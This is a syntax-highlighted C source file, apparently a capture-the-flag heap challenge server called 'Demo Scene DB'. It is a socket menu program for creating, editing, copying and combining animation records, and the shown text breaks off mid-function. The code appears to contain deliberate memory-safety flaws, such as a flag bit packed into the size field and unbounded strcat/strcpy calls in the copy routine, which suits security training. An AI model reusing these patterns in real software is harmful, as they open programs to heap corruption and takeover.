class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> gcc demo_scene_db.c -o demo_scene_db -Wl,-z,relro,-z,now -Wl,-s -fstack-protector-all</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><signal.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><elf.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><errno.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><signal.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><inttypes.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdarg.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX_NUM_ANIME 512</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">char</span> Html[<span class="number">0x100</span>];</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Animation</span> {</span></span><br><span class="line"> <span class="keyword">char</span> description[<span class="number">0xf0</span>];</span><br><span class="line"> <span class="keyword">uint64_t</span> size_scenes;</span><br><span class="line"> Html scenes[];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">SampleAnimation</span> {</span></span><br><span class="line"> <span class="keyword">char</span> description[<span class="number">0xf0</span>];</span><br><span class="line"> <span class="keyword">uint64_t</span> size_scenes;</span><br><span class="line"> Html scenes[<span class="number">3</span>];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> LUMP_BIT (1)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_LUMP(anime) ((anime)->size_scenes & LUMP_BIT)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> GET_SIZE(anime) ((anime)->size_scenes & ~LUMP_BIT)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> fd;</span><br><span class="line"><span class="keyword">uint64_t</span> cmd;</span><br><span class="line"><span class="keyword">uint64_t</span> num_animations;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Animation</span> *<span class="title">animations</span>[<span class="title">MAX_NUM_ANIME</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> _edit_scenes(struct Animation *anime);</span><br><span class="line"></span><br><span class="line"><span class="keyword">size_t</span> read_fd(<span class="keyword">char</span> *buf, <span class="keyword">size_t</span> buf_size, <span class="keyword">char</span> splitter) {</span><br><span class="line"> <span class="keyword">size_t</span> i = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (buf_size == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (i < buf_size - <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (read(fd, buf+i, <span class="number">1</span>) != <span class="number">1</span> || buf[i] == splitter || buf[i] == <span class="string">'\0'</span>) {</span><br><span class="line"> buf[i] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ++i;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (i == buf_size - <span class="number">1</span>) buf[i] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">return</span> i;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">send_fd</span><span class="params">(<span class="keyword">char</span> *buf, <span class="keyword">size_t</span> buf_size)</span> </span>{</span><br><span class="line"> send(fd, buf, buf_size, <span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> myputs(s) send_fd(s <span class="meta-string">"\n"</span>, sizeof(s <span class="meta-string">"\n"</span>))</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> get_integer() {</span><br><span class="line"> <span class="keyword">uint64_t</span> ret = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">16</span>];</span><br><span class="line"> read_fd(buf, <span class="keyword">sizeof</span>(buf), <span class="string">'\n'</span>);</span><br><span class="line"> <span class="built_in">sscanf</span>(buf, <span class="string">"%"</span> SCNu64, &ret);</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_banner</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> myputs(<span class="string">" "</span>);</span><br><span class="line"> myputs(<span class="string">" ██████╗ ███████╗███╗ ███╗ ██████╗ ███████╗ ██████╗███████╗███╗ ██╗███████╗ ██████╗ ██████╗ "</span>);</span><br><span class="line"> myputs(<span class="string">" ██╔══██╗██╔════╝████╗ ████║██╔═══██╗ ██╔════╝██╔════╝██╔════╝████╗ ██║██╔════╝ ██╔══██╗██╔══██╗ "</span>);</span><br><span class="line"> myputs(<span class="string">" ██║ ██║█████╗ ██╔████╔██║██║ ██║ ███████╗██║ █████╗ ██╔██╗ ██║█████╗ ██║ ██║██████╔╝ "</span>);</span><br><span class="line"> myputs(<span class="string">" ██║ ██║██╔══╝ ██║╚██╔╝██║██║ ██║ ╚════██║██║ ██╔══╝ ██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗ "</span>);</span><br><span class="line"> myputs(<span class="string">" ██████╔╝███████╗██║ ╚═╝ ██║╚██████╔╝ ███████║╚██████╗███████╗██║ ╚████║███████╗ ██████╔╝██████╔╝ "</span>);</span><br><span class="line"> myputs(<span class="string">" ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═════╝ "</span>);</span><br><span class="line"> myputs(<span class="string">" \n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_menu</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> myputs(<span class="string">"========== Menu ========="</span>);</span><br><span class="line"> myputs(<span class="string">"1: create animation"</span>);</span><br><span class="line"> myputs(<span class="string">"2: edit description"</span>);</span><br><span class="line"> myputs(<span class="string">"3: edit scenes"</span>);</span><br><span class="line"> myputs(<span class="string">"4: show animations"</span>);</span><br><span class="line"> myputs(<span class="string">"5: copy animation"</span>);</span><br><span class="line"> myputs(<span class="string">"6: combine two animations"</span>);</span><br><span class="line"> myputs(<span class="string">"7: exit"</span>);</span><br><span class="line"> myputs(<span class="string">"=========================\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">create_animation</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> res[<span class="number">3</span>];</span><br><span class="line"> <span class="keyword">uint64_t</span> num;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (num_animations >= MAX_NUM_ANIME) {</span><br><span class="line"> myputs(<span class="string">"You have enough animations, don't you?"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> dprintf(fd, <span class="string">"How many scenes does your animation use?: "</span>);</span><br><span class="line"> num = get_integer();</span><br><span class="line"> <span class="keyword">if</span> (num > <span class="number">0x1000</span>) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"You wanna trouble me, ha?"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> animations[num_animations] = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="keyword">sizeof</span>(struct Animation) + <span class="keyword">sizeof</span>(Html)*num);</span><br><span class="line"> <span class="keyword">if</span> (!animations[num_animations]) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is unfortunate for you..."</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> animations[num_animations]->size_scenes = <span class="keyword">sizeof</span>(Html)*num;</span><br><span class="line"> dprintf(fd, <span class="string">"Do you want to use the region as one scene?[Y/n]: "</span>);</span><br><span class="line"> read_fd(res, <span class="keyword">sizeof</span>(res), <span class="string">'\n'</span>);</span><br><span class="line"> <span class="keyword">if</span> (res[<span class="number">0</span>] == <span class="string">'Y'</span> || res[<span class="number">0</span>] == <span class="string">'y'</span>) {</span><br><span class="line"> animations[num_animations]->size_scenes |= LUMP_BIT;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> read_fd(animations[num_animations]->description, <span class="number">0xf0</span>, <span class="string">'\n'</span>);</span><br><span class="line"> _edit_scenes(animations[num_animations]);</span><br><span class="line"> </span><br><span class="line"> myputs(<span class="string">"Your new animation has been created successfully."</span>);</span><br><span class="line"> ++num_animations;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">edit_description</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> dprintf(fd, <span class="string">"Which description do you want to edit?: "</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> idx = get_integer();</span><br><span class="line"> <span class="keyword">if</span> (idx >= num_animations) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"No nip-slip."</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> read_fd(animations[idx]->description, <span class="number">0xf0</span>, <span class="string">'\n'</span>);</span><br><span class="line"> myputs(<span class="string">"Done."</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> _edit_scenes(struct Animation *anime) {</span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(anime)) {</span><br><span class="line"> read_fd((<span class="keyword">char</span>*)anime->scenes, GET_SIZE(anime), <span class="string">'\n'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">uint64_t</span> lim = anime->size_scenes/<span class="keyword">sizeof</span>(Html);</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<lim; i++) {</span><br><span class="line"> read_fd(anime->scenes[i], <span class="keyword">sizeof</span>(Html), <span class="string">'\n'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">edit_scenes</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> dprintf(fd, <span class="string">"Which scenes do you want to edit?: "</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> idx = get_integer();</span><br><span class="line"> <span class="keyword">if</span> (idx >= num_animations) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Shame on you!"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> _edit_scenes(animations[idx]);</span><br><span class="line"> myputs(<span class="string">"Completed."</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">show_animations</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"></span><br><span class="line"> dprintf(fd, <span class="string">"====== Animations ====="</span>);</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<num_animations; i++) {</span><br><span class="line"> dprintf(fd, <span class="string">"\n\n#%"</span> PRIu64 <span class="string">": \n"</span>, i);</span><br><span class="line"> dprintf(fd, <span class="string">"Desc: %s"</span>, animations[i]->description);</span><br><span class="line"> dprintf(fd, <span class="string">"\nScenes: "</span>);</span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[i])) {</span><br><span class="line"> send_fd((<span class="keyword">char</span>*)animations[i]->scenes, GET_SIZE(animations[i]));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> j;</span><br><span class="line"> <span class="keyword">uint64_t</span> lim = animations[i]->size_scenes/<span class="keyword">sizeof</span>(Html);</span><br><span class="line"> <span class="keyword">for</span> (j=<span class="number">0</span>; j<lim; j++) {</span><br><span class="line"> send_fd(animations[i]->scenes[j], <span class="built_in">strlen</span>(animations[i]->scenes[j]));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> myputs(<span class="string">"\n\n\n=======================\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">copy_animation</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> from, to;</span><br><span class="line"></span><br><span class="line"> dprintf(fd, <span class="string">"Which animation do you want to copy?: "</span>);</span><br><span class="line"> from = get_integer();</span><br><span class="line"> </span><br><span class="line"> dprintf(fd, <span class="string">"Dest: "</span>);</span><br><span class="line"> to = get_integer();</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (from >= num_animations || to >= num_animations || from == to) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"I'm sorry. I can't hear you!"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> used_size;</span><br><span class="line"> <span class="keyword">uint64_t</span> size_from = animations[from]->size_scenes;</span><br><span class="line"> <span class="keyword">uint64_t</span> size_to = animations[to]->size_scenes;</span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[from])) {</span><br><span class="line"> <span class="keyword">if</span> ((size_to & LUMP_BIT) == <span class="number">0</span> && (size_from&~LUMP_BIT) > <span class="keyword">sizeof</span>(Html)) {</span><br><span class="line"> myputs(<span class="string">"Watch out!"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(animations[to]->scenes, <span class="string">'\0'</span>, size_to & ~LUMP_BIT);</span><br><span class="line"></span><br><span class="line"> used_size = size_from&~LUMP_BIT;</span><br><span class="line"> <span class="keyword">if</span> (size_to < used_size) {</span><br><span class="line"> used_size = size_to;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> memmove(animations[to]->scenes, animations[from]->scenes, used_size);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> used_size = size_from;</span><br><span class="line"> <span class="keyword">if</span> (size_to < used_size) {</span><br><span class="line"> used_size = size_to;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (size_to & LUMP_BIT) {</span><br><span class="line"> ((<span class="keyword">char</span>*)animations[to]->scenes)[<span class="number">0</span>] = <span class="string">'\0'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">uint64_t</span> lim = used_size/<span class="keyword">sizeof</span>(Html);</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<lim; i++) {</span><br><span class="line"> <span class="keyword">if</span> (size_to & LUMP_BIT) {</span><br><span class="line"> <span class="built_in">strcat</span>((<span class="keyword">char</span>*)animations[to]->scenes, animations[from]->scenes[i]);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">strcpy</span>(animations[to]->scenes[i], animations[from]->scenes[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> memmove(animations[to]->description, animations[from]->description, <span class="number">0xf0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">combine_animations</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> a, b;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (num_animations >= MAX_NUM_ANIME) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"You have enough animations, don't you?"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> dprintf(fd, <span class="string">"Which animations do you want to combine?: "</span>);</span><br><span class="line"> a = get_integer();</span><br><span class="line"> b = get_integer();</span><br><span class="line"> <span class="keyword">if</span> (a >= num_animations || b >= num_animations || a == b) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Connection Refused :("</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[a]) || IS_LUMP(animations[b])) {</span><br><span class="line"> <span class="keyword">uint64_t</span> new_size = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (IS_LUMP(animations[a])) {</span><br><span class="line"> new_size += GET_SIZE(animations[a]);</span><br><span class="line"> <span class="keyword">if</span> (new_size < GET_SIZE(animations[a])) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"pity"</span>);</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<animations[a]->size_scenes/<span class="keyword">sizeof</span>(Html); i++) {</span><br><span class="line"> <span class="keyword">uint64_t</span> n = <span class="built_in">strlen</span>(animations[a]->scenes[i]);</span><br><span class="line"> new_size += n;</span><br><span 